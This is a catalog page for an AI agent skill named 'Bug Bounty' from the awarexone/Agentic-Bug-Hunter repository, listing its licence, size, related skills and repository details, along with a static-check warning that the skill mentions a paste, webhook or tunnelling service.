Our automated static check of SKILL.md flagged 1 warning(s): mentions a paste, webhook or tunnelling service often used to send data out. Read the flagged lines before installing; the check is not a guarantee either way.
Bug Bounty is published under the MIT licence (the repository's licence). It allows redistribution, so the full SKILL.md is shown on this page.
About 20k tokens (SKILL.md is roughly 78k characters). Agents keep only the skill's name and description in context until a task matches; then they load SKILL.md in full.
Skills that share tags, products or a category with Bug Bounty: Web2 Vuln Classes (Gabson0x/bountyforge, 442 stars), Defending Applications (telagod/code-abyss, 243 stars), Hunt Sqli (elementalsouls/Claude-BugHunter, 4.8k stars) and Review Security Report (PrefectHQ/fastmcp, 28k stars). The comparison table on this page puts their stars, adoption, token cost, safety result and licence side by side.
awarexone (a GitHub organization) maintains it in awarexone/Agentic-Bug-Hunter, which has 5,308 GitHub stars. The repository holds 10 skills in this directory. The repository was last updated on October 8, 2026.
Source: awarexone/Agentic-Bug-Hunter on GitHub. Facts on this page come from the repository at the commit we read; the author's words are quoted as theirs.